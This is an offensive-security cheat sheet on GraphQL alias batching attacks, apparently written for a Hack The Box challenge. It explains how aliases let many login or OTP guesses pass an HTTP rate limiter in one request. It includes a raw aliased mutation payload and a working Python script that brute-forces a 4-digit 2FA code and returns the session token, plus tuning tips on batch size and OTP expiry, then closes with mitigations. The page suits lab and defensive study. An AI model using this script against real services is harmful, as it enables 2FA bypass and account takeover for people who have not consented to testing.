đź§ GraphQL - Batching Attack
What is it?
- Concept: GraphQL inherently allows clients to request multiple pieces of data or execute multiple operations in a single HTTP request to reduce network overhead. Attackers abuse this feature by submitting hundreds or thousands of login/OTP guesses within a single query payload using “Aliases”.
- Impact: Authentication Bypass, Rate Limit Evasion, and WAF Bypass. Because the network firewall (like Nginx) only sees one HTTP POST request, traditional HTTP rate limiters (
limit_req) are completely blind to the attack.
How it works
- The Bottleneck: An application relies on network-layer infrastructure (Nginx, HAProxy, AWS WAF) to prevent brute-forcing, limiting users to e.g., 20 HTTP requests per minute.
- The Bypass Payload: The attacker constructs a single GraphQL query, but assigns unique “Aliases” to hundreds of concurrent mutation calls (e.g.,
try0000: verify2FA(otp:"0000"),try0001: verify2FA(otp:"0001")). - The Execution: The single HTTP request easily passes through the network rate-limiter. The backend GraphQL engine parses the single request and sequentially (or concurrently) executes the underlying resolver function for every single alias.
- The Result: The attacker successfully evaluates 10,000 combinations in a fraction of a second, bypassing 2FA or brute-forcing a password without triggering network alarms.
Exploitation
Prerequisites
- A vulnerable GraphQL endpoint accepting queries or mutations.
- Target authentication mechanism has a small enough entropy/search space (e.g., a 4-digit PIN = 10,000 combinations, or a targeted password list).
- Rate limiting is implemented at the HTTP routing layer, not the GraphQL execution layer.
Attack Vectors
- Raw GraphQL Alias Payload Structure: match this to the real mutation signature from introspection first (see GraphQL - Introspection Exploitation) — copying a generic example verbatim (wrong field name, missing required args like a challenge
token) just gets every alias rejected and looks identical to “brute force failed,” which wastes time debugging the wrong layer.
mutation {
try0000: verifyTwoFactor(token: "CHALLENGE_TOKEN", otp: "0000") { token }
try0001: verifyTwoFactor(token: "CHALLENGE_TOKEN", otp: "0001") { token }
try0002: verifyTwoFactor(token: "CHALLENGE_TOKEN", otp: "0002") { token }
# ... continues up to server limits ...
}- Python Exploit Automation
import requests
def brute_force_gql(url, challenge_token, batch_size=400):
for start in range(0, 10000, batch_size):
end = min(start + batch_size, 10000)
graphql_query = "mutation { "
for i in range(start, end):
pin = f"{i:04d}"
graphql_query += (
f'try{pin}: verifyTwoFactor(token: "{challenge_token}", otp: "{pin}") '
f'{{ token }} '
)
graphql_query += "}"
response = requests.post(url, json={"query": graphql_query})
if response.status_code != 200:
print(f"[-] batch {start}-{end}: HTTP {response.status_code} ({response.text[:100]!r})")
continue
data = response.json().get("data") or {}
for alias, result in data.items():
if result:
print(f"[+] Found correct OTP: {alias.replace('try', '')}")
return result["token"]
print("[-] not found in 0000-9999")Notes
- Batch size is capped by the HTTP body limit, not by GraphQL. Express’s
body-parserdefaults to ~100KB; a batch of ~400 aliasedverifyTwoFactor-style calls with a minimal{ token }selection sits right under that. Going bigger (e.g. 2500 aliases) doesn’t error from GraphQL at all — you get a raw413 Payload Too LargeHTML page instead of JSON, which will break naiveresponse.json()parsing. Always checkresponse.status_codebefore parsing, and tune batch size down if you hit this rather than assuming the endpoint is unreachable. - A batch failing entirely can look identical to “the token got invalidated after one bad guess,” but is usually just the OTP’s TTL expiring. If you hand-test one wrong-then-correct pair with real delay between requests (reading an email, retyping a query) and it fails, that’s not proof of a one-shot lockout — re-test with a script that fires the whole check within a second or two of triggering the code. Only trust “burns after first attempt” if a fast, automated wrong-then-correct pair in one request still fails.
- Aliases execute sequentially in the order they appear in a mutation request (GraphQL spec requires this for top-level mutation fields, unlike query fields which may parallelize) — so a resolver-side side effect from alias N can affect alias N+1 within the same batch. This is what makes the TTL-vs-lockout distinction above easy to misdiagnose.
Mitigation
-
Fix 1: Execution-Layer Rate Limiting. Implement rate limiting inside the GraphQL application code (the resolvers). Track the number of operations executed per user/IP, not just the number of HTTP requests.
-
Fix 2: Max Query Aliases limit. Utilize GraphQL middleware (like
graphql-depth-limitor query cost analysis libraries) to restrict a single request to a maximum number of aliases (e.g., max 5 operations per request). -
Fix 3: Lockouts. For sensitive operations like 2FA, implement account lockouts or temporary bans after a set number of failed resolver executions, regardless of how they were batched.
Related Usage
| File | Created |
|---|---|
| HTB Challenge - Batchcraft Potions | Tuesday, May 5th 2026, 8:49:55 am |
References: